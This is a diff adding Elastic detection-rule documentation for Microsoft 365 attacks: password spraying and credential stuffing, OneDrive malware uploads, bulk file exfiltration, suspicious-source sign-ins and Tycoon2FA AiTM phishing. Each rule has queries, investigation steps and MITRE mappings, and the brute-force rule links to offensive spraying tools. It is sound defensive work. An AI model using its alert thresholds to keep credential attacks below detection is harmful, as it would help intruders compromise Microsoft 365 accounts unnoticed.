values(to_lower(o365.audit.ExtendedProperties.RequestType)), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count(*) + by Esql.time_window_date_trunc +| eval + Esql.event_duration_seconds = date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen) +| keep + Esql.time_window_date_trunc, + Esql_priv.o365_audit_UserId_count_distinct, + Esql_priv.o365_audit_UserId_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_as_organization_name_count_distinct, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.o365_audit_ExtendedProperties_RequestType_values, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.event_count, + Esql.event_duration_seconds +| where + Esql_priv.o365_audit_UserId_count_distinct >= 10 and + Esql.event_count >= 10 and + Esql.event_duration_seconds <= 300 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-user-brute-force-attempted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-user-brute-force-attempted.asciidoc new file mode 100644 index 0000000000..fce10c6d75 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-identity-user-brute-force-attempted.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-m365-identity-user-brute-force-attempted]] +=== M365 Identity User Brute Force Attempted + +Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Microsoft 365 + +*Version*: 420 + +*Rule authors*: + +* Elastic +* Willem D'Haese +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Identity User Brute Force Attempted* + + +Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords. + + +*Possible investigation steps* + + +- Review `user_id_list`: Enumerates the user accounts targeted. Look for naming patterns or privilege levels (e.g., admins). +- Check `login_errors`: A consistent error such as `"InvalidUserNameOrPassword"` confirms a spray-style attack using one or a few passwords. +- Examine `ip_list` and `source_orgs`: Determine if the traffic originates from a known corporate VPN, datacenter, or suspicious ASN like hosting providers or anonymizers. +- Review `countries` and `unique_country_count`: Geographic anomalies (e.g., login attempts from unexpected regions) may indicate malicious automation. +- Validate `total_attempts` vs `duration_seconds`: A high frequency of login attempts over a short period may suggest automation rather than manual logins. +- Cross-reference with successful logins: Pivot to surrounding sign-in logs (`azure.signinlogs`) or risk detections (`identityprotection`) for any account that eventually succeeded. +- Check for multi-factor challenges or bypasses: Determine if any of the accounts were protected or if the attack bypassed MFA. + + +*False positive analysis* + + +- IT administrators using automation tools (e.g., PowerShell) during account provisioning may trigger false positives if login attempts cluster. +- Penetration testing or red team simulations may resemble spray activity. +- Infrequent, low-volume login testing tools like ADFS testing scripts can exhibit similar patterns. + + +*Response and remediation* + + +- Initiate an internal incident ticket and inform the affected identity/IT team. +- Temporarily disable impacted user accounts if compromise is suspected. +- Investigate whether any login attempts succeeded after the spray window. +- Block the offending IPs or ASN temporarily via firewall or conditional access policies. +- Rotate passwords for all targeted accounts and audit for password reuse. +- Enforce or verify MFA is enabled for all user accounts. +- Consider deploying account lockout or progressive delay mechanisms if not already enabled. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* +| mv_expand event.category +| eval + Esql.time_window_date_trunc = date_trunc(5 minutes, @timestamp), + Esql_priv.o365_audit_UserId_lower = to_lower(o365.audit.UserId), + Esql.o365_audit_LogonError = o365.audit.LogonError, + Esql.o365_audit_ExtendedProperties_RequestType_lower = to_lower(o365.audit.ExtendedProperties.RequestType) +| where + data_stream.dataset == "o365.audit" and + event.category == "authentication" and + event.provider in ("AzureActiveDirectory", "Exchange") and + event.action in ("UserLoginFailed", "PasswordLogonInitialAuthUsingPassword") and + Esql.o365_audit_ExtendedProperties_RequestType_lower rlike "(oauth.*|.*login.*)" and + Esql.o365_audit_LogonError != "IdsLocked" and + Esql.o365_audit_LogonError not in ( + "EntitlementGrantsNotFound", + "UserStrongAuthEnrollmentRequired", + "UserStrongAuthClientAuthNRequired", + "InvalidReplyTo", + "SsoArtifactExpiredDueToConditionalAccess", + "PasswordResetRegistrationRequiredInterrupt", + "SsoUserAccountNotFoundInResourceTenant", + "UserStrongAuthExpired", + "CmsiInterrupt" + ) and + Esql_priv.o365_audit_UserId_lower != "not available" and + o365.audit.Target.Type in ("0", "2", "6", "10") +| stats + Esql.o365_audit_UserId_lower_count_distinct = count_distinct(Esql_priv.o365_audit_UserId_lower), + Esql_priv.o365_audit_UserId_lower_values = values(Esql_priv.o365_audit_UserId_lower), + Esql.o365_audit_LogonError_values = values(Esql.o365_audit_LogonError), + Esql.o365_audit_LogonError_count_distinct = count_distinct(Esql.o365_audit_LogonError), + Esql.o365_audit_ExtendedProperties_RequestType_values = values(Esql.o365_audit_ExtendedProperties_RequestType_lower), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count(*) + by Esql.time_window_date_trunc +| eval + Esql.event_duration_seconds = date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen), + Esql.brute_force_type = case( + Esql.o365_audit_UserId_lower_count_distinct >= 15 and Esql.o365_audit_LogonError_count_distinct == 1 and Esql.event_count >= 10 and Esql.event_duration_seconds <= 1800, "password_spraying", + Esql.o365_audit_UserId_lower_count_distinct >= 8 and Esql.event_count >= 15 and Esql.o365_audit_LogonError_count_distinct <= 3 and Esql.source_ip_count_distinct <= 5 and Esql.event_duration_seconds <= 600, "credential_stuffing", + Esql.o365_audit_UserId_lower_count_distinct == 1 and Esql.o365_audit_LogonError_count_distinct == 1 and Esql.event_count >= 20 and Esql.event_duration_seconds <= 300, "password_guessing", + "other" + ) +| keep + Esql.time_window_date_trunc, + Esql.o365_audit_UserId_lower_count_distinct, + Esql_priv.o365_audit_UserId_lower_values, + Esql.o365_audit_LogonError_values, + Esql.o365_audit_LogonError_count_distinct, + Esql.o365_audit_ExtendedProperties_RequestType_values, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.source_as_organization_name_count_distinct, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.event_duration_seconds, + Esql.event_count, + Esql.brute_force_type +| where Esql.brute_force_type != "other" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-onedrive-malware-file-upload.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-onedrive-malware-file-upload.asciidoc new file mode 100644 index 0000000000..b9bfe30303 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-onedrive-malware-file-upload.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-m365-onedrive-malware-file-upload]] +=== M365 OneDrive Malware File Upload + +Identifies the occurrence of files uploaded to OneDrive being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries an opportunity to gain initial access to other endpoints in the environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/virus-detection-in-spo?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft OneDrive + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 OneDrive Malware File Upload* + + +OneDrive, a cloud storage service, facilitates file sharing and collaboration within organizations. However, adversaries can exploit this by uploading malware, which can spread across shared environments, leading to lateral movement within a network. The detection rule identifies such threats by monitoring OneDrive activities for malware detection events, focusing on file operations flagged by Microsoft's security engine. This proactive approach helps in identifying and mitigating potential breaches. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event dataset is 'o365.audit' and the event provider is 'OneDrive' to ensure the alert is relevant to OneDrive activities. +- Examine the specific file operation flagged by the event code 'SharePointFileOperation' and action 'FileMalwareDetected' to identify the file in question and understand the nature of the detected malware. +- Identify the user account associated with the file upload to determine if the account has been compromised or if the user inadvertently uploaded the malicious file. +- Check the sharing settings of the affected file to assess the extent of exposure and identify any other users or systems that may have accessed the file. +- Investigate the file's origin and history within the organization to trace how it was introduced into the environment and whether it has been shared or accessed by other users. +- Review any additional security alerts or logs related to the user account or file to identify potential patterns of malicious activity or further compromise. +- Coordinate with IT and security teams to isolate the affected file and user account, and initiate remediation steps to prevent further spread of the malware. + + +*False positive analysis* + + +- Legitimate software updates or patches may be flagged as malware if they are not yet recognized by the security engine. Users should verify the source and integrity of the file and consider adding it to an exception list if confirmed safe. +- Files containing scripts or macros used for automation within the organization might trigger false positives. Review the file's purpose and origin, and whitelist it if it is a known and trusted internal tool. +- Shared files from trusted partners or vendors could be mistakenly identified as threats. Establish a process to verify these files with the sender and use exceptions for recurring, verified files. +- Archived or compressed files that contain known safe content might be flagged due to their format. Decompress and scan the contents separately to confirm their safety before adding exceptions. +- Files with unusual or encrypted content used for legitimate business purposes may be misclassified. Ensure these files are documented and approved by IT security before excluding them from alerts. + + +*Response and remediation* + + +- Immediately isolate the affected OneDrive account to prevent further file sharing and potential spread of malware within the organization. +- Notify the user associated with the account about the detected malware and instruct them to cease any file sharing activities until further notice. +- Conduct a thorough scan of the affected files using an updated antivirus or endpoint detection and response (EDR) solution to confirm the presence of malware and identify any additional infected files. +- Remove or quarantine the identified malicious files from OneDrive and any other locations they may have been shared to prevent further access or execution. +- Review and revoke any shared links or permissions associated with the infected files to ensure no unauthorized access is possible. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if any lateral movement or additional compromise has occurred. +- Implement enhanced monitoring and alerting for similar OneDrive activities to quickly detect and respond to any future malware uploads or related threats. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:OneDrive and event.code:SharePointFileOperation and event.action:FileMalwareDetected + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Taint Shared Content +** ID: T1080 +** Reference URL: https://attack.mitre.org/techniques/T1080/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ +* Sub-technique: +** Name: Upload Malware +** ID: T1608.001 +** Reference URL: https://attack.mitre.org/techniques/T1608/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc new file mode 100644 index 0000000000..cf2a515545 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-onedrive-sharepoint-excessive-file-downloads.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-m365-onedrive-sharepoint-excessive-file-downloads]] +=== M365 OneDrive/SharePoint Excessive File Downloads + +Identifies when an excessive number of files are downloaded from OneDrive or SharePoint by an authorized user or application in a short period of time. This may indicate a potential data exfiltration event, especially if the downloads are performed using OAuth authentication which could suggest an OAuth phishing attack such as Device Code Authentication phishing. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Storage +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: SharePoint +* Data Source: OneDrive +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Platform: Microsoft 365 +* Domain: Email +* Service: Microsoft SharePoint +* Service: Microsoft OneDrive + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 OneDrive/SharePoint Excessive File Downloads* + + +This rule detects an excessive number of files downloaded from OneDrive using OAuth authentication. Threat actors may use OAuth phishing attacks, such as **Device Code Authentication phishing**, to obtain valid access tokens and perform unauthorized data exfiltration. This method allows adversaries to bypass traditional authentication mechanisms, making it a stealthy and effective technique. + +This rule leverages ESQL aggregations which limit the field values available in the alert document. To investigate further, it is recommended to identify the original documents ingested. + + +*Possible Investigation Steps* + + +- Review the user ID field to identify the user who performed the downloads. Check if this user typically downloads large amounts of data from OneDrive. +- Correlate user ID with Entra Sign-In logs to verify the authentication method used and determine if it was expected for this user. +- Review the authentication method used. If OAuth authentication was used, investigate whether it was expected for this user. +- Identify the client application used for authentication. Determine if it is a legitimate enterprise-approved app or an unauthorized third-party application. +- Check the number of unique files downloaded. If a user downloads a high volume of unique files in a short period, it may indicate data exfiltration. +- Analyze the file types and directories accessed to determine if sensitive or confidential data was involved. +- Investigate the source IP address and geolocation of the download activity. If it originates from an unusual or anonymized location, further scrutiny is needed. +- Review other recent activities from the same user, such as file access, sharing, or permission changes, that may indicate further compromise. +- Check for signs of session persistence using OAuth. If Azure sign-in logs are correlated where `authentication_protocol` or `originalTransferMethod` field shows `deviceCode`, the session was established through device code authentication. +- Look for multiple authentication attempts from different devices or locations within a short timeframe, which could indicate unauthorized access. +- Investigate if other OAuth-related anomalies exist, such as consent grants for unfamiliar applications or unexpected refresh token activity. +- Review the `file.directory` value from the original documents to identify the specific folders or paths where the files were downloaded. +- Examine if the downloaded files are from Sharepoint or OneDrive by checking the `event.code` field. +- Review the incoming token type to determine how authentication occurred. If the `token.id` field is populated, it indicates that OAuth authentication was used, which may suggest an OAuth phishing attack. + + +*False Positive Analysis* + + +- Verify if the user regularly downloads large batches of files as part of their job function. +- Determine if the downloads were triggered by an authorized automated process, such as a data backup or synchronization tool. +- Confirm if the detected OAuth application is approved for enterprise use and aligns with expected usage patterns. + + +*Response and Remediation* + + +- If unauthorized activity is confirmed, revoke the OAuth token used and terminate active OneDrive sessions. +- Reset the affected user's password and require reauthentication to prevent continued unauthorized access. +- Restrict OAuth app permissions and enforce conditional access policies to limit authentication to trusted devices and applications. +- Monitor for additional signs of compromise, such as unusual email forwarding rules, external sharing of OneDrive files, or privilege escalation attempts. +- Educate users on OAuth phishing risks and encourage the use of **Microsoft Defender for Office 365 Safe Links** to mitigate credential-based attacks. +- Enable continuous monitoring for OAuth authentication anomalies using **Microsoft Entra ID sign-in logs** and security tools. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "o365.audit" and + event.provider == "OneDrive" and + event.action == "FileDownloaded" and + event.outcome == "success" + and (user.id is not null and o365.audit.ApplicationId is not null) + and o365.audit.ApplicationId not in ( + "08e18876-6177-487e-b8b5-cf950c1e598c", // SharePoint Online Web Client Extensibility + "fb8d773d-7ef8-4ec0-a117-179f88add510", // Enterprise Copilot Platform + "d3590ed6-52b3-4102-aeff-aad2292ab01c", // Microsoft Office + "7ab7862c-4c57-491e-8a45-d52a7e023983" // App Service + ) +| eval session.id = coalesce(o365.audit.AppAccessContext.AADSessionId, session.id, null) +| where session.id is not null +| eval Esql.time_window_date_trunc = date_trunc(3 minutes, @timestamp) +// file.size is dynamically mapped in o365.audit and can be keyword or long across backing indices +| eval Esql.file_size_bytes = to_long(file.size) +| stats + Esql.file_directory_values = values(file.directory), + Esql.file_extension_values = values(file.extension), + Esql.application_name_values = values(application.name), + Esql.file_name_count_distinct = count_distinct(file.name), + Esql.total_file_size_mb = round((mv_sum(values(Esql.file_size_bytes))) / 1048576.0, 2), + Esql.o365_audit_Site_values = values(o365.audit.Site), + Esql.o365_audit_SiteUrl_values = values(o365.audit.SiteUrl), + Esql.user_domain_values = values(user.domain), + Esql.token_id_values = values(token.id), + Esql.event_code_values = values(event.code), + Esql.event_provider_values = values(event.provider), + Esql.auth_type_values = values(o365.audit.AuthenticationType), + Esql.is_managed_device_values = values(o365.audit.IsManagedDevice), + Esql.platform_values = values(o365.audit.Platform), + Esql.user_agent_values = values(user_agent.name), + Esql.source_asn_org_values = values(source.as.organization.name), + Esql.geo_country_values = values(source.geo.country_name), + Esql.event_count = count(*) + by + Esql.time_window_date_trunc, + user.id, + session.id, + source.ip, + o365.audit.ApplicationId +| where Esql.file_name_count_distinct >= 25 +| keep + Esql.*, + user.id, + source.ip, + o365.audit.ApplicationId, + session.id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-or-entra-id-identity-sign-in-from-a-suspicious-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-or-entra-id-identity-sign-in-from-a-suspicious-source.asciidoc new file mode 100644 index 0000000000..cb10680500 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-or-entra-id-identity-sign-in-from-a-suspicious-source.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-m365-or-entra-id-identity-sign-in-from-a-suspicious-source]] +=== M365 or Entra ID Identity Sign-in from a Suspicious Source + +This rule correlate Entra-ID or Microsoft 365 mail successful sign-in events with network security alerts by source address. Adversaries may trigger some network security alerts such as reputation or other anomalies before accessing cloud resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-8h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In Logs +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Rule Type: Higher-Order Rule +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Platform: Entra ID +* Domain: Identity +* Platform: Microsoft 365 +* Domain: Email + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 or Entra ID Identity Sign-in from a Suspicious Source* + + + +*Possible investigation steps* + + +- Investiguate all the alerts associated with the source.ip. + - Verify the network security alert details associated with this source.ip. + - Verify all sign-in events associated with this source.ip. + - Consider the source IP address and geolocation for the involved user account. + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-*, logs-azure.signinlogs-*, .alerts-security.* +// filter for azure or m365 sign-in and external alerts with source.ip not null +| where to_ip(source.ip) is not null + and (data_stream.dataset in ("o365.audit", "azure.signinlogs") or kibana.alert.rule.rule_id == "eb079c62-4481-4d6e-9643-3ca499df7aaa") + and not cidr_match( + to_ip(source.ip), + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", + "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8" + ) + +// capture relevant raw fields +| keep source.ip, event.action, event.outcome, data_stream.dataset, kibana.alert.rule.rule_id, event.category + +// classify each source ip based on alert type +| eval + Esql.source_ip_mail_access_case = case(data_stream.dataset == "o365.audit" and event.action == "MailItemsAccessed" and event.outcome == "success", to_ip(source.ip)), + Esql.source_ip_azure_signin_case = case(data_stream.dataset == "azure.signinlogs" and event.outcome == "success", to_ip(source.ip)), + Esql.source_ip_network_alert_case = case(kibana.alert.rule.rule_id == "eb079c62-4481-4d6e-9643-3ca499df7aaa" and not data_stream.dataset in ("o365.audit", "azure.signinlogs"), to_ip(source.ip)) + +// aggregate by source ip +| stats + Esql.event_count = count(*), + Esql.source_ip_mail_access_case_count_distinct = count_distinct(Esql.source_ip_mail_access_case), + Esql.source_ip_azure_signin_case_count_distinct = count_distinct(Esql.source_ip_azure_signin_case), + Esql.source_ip_network_alert_case_count_distinct = count_distinct(Esql.source_ip_network_alert_case), + Esql.data_stream_dataset_count_distinct = count_distinct(data_stream.dataset), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.kibana_alert_rule_id_values = values(kibana.alert.rule.rule_id), + Esql.event_category_values = values(event.category) + by Esql.source_ip = to_ip(source.ip) + +// correlation condition +| where + Esql.source_ip_network_alert_case_count_distinct > 0 + and Esql.data_stream_dataset_count_distinct >= 2 + and (Esql.source_ip_mail_access_case_count_distinct > 0 or Esql.source_ip_azure_signin_case_count_distinct > 0) + and Esql.event_count <= 100 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-potential-aitm-userloggedin-via-office-app-tycoon2fa.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-potential-aitm-userloggedin-via-office-app-tycoon2fa.asciidoc new file mode 100644 index 0000000000..ac5e49c63d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-potential-aitm-userloggedin-via-office-app-tycoon2fa.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-m365-potential-aitm-userloggedin-via-office-app-tycoon2fa]] +=== M365 Potential AiTM UserLoggedIn via Office App (Tycoon2FA) + +Detects Microsoft 365 audit "UserLoggedIn" events consistent with Tycoon 2FA phishing-as-a-service (PhaaS) adversary-in-the-middle (AiTM) activity: the Microsoft Authentication Broker requesting access where the object identifier matches Microsoft Graph or Exchange Online, or the Office web client application authenticating to itself, combined with Node.js-style user agents (node, axios, undici). Tycoon 2FA bypasses MFA by relaying authentication and capturing session material, often targeting Microsoft 365 and Gmail. Baseline legitimate automation and developer tooling before tuning. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended 